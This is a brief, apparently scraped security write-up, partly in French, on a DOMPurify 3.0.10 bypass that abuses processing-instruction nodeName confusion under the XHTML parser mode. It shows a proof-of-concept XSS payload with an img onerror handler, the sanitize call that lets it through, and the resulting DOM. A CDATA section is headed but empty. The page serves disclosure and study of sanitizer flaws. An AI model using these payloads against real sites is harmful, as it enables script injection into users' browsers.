Dompurify 3.0.10 bypass - Confusion nodeName and CDATA
22 mai 2024
Confusion nodeName
<?target data?><?xml-stylesheet ><img src=x onerror=alert(1)>?>let userContent= document.getElementById('userContent');
userContent.innerHTML = DOMPurify.sanitize("<?whatever ><img src=x onerror=alert(1)>?>", {PARSER_MEDIA_TYPE: 'application/xhtml+xml'});<div id="userContent">
<!--?whatever -->
<img src="x" onerror="alert(1)">
"?>"
</div>Character data (CDATA)
Corrections
Labs
Mis à jour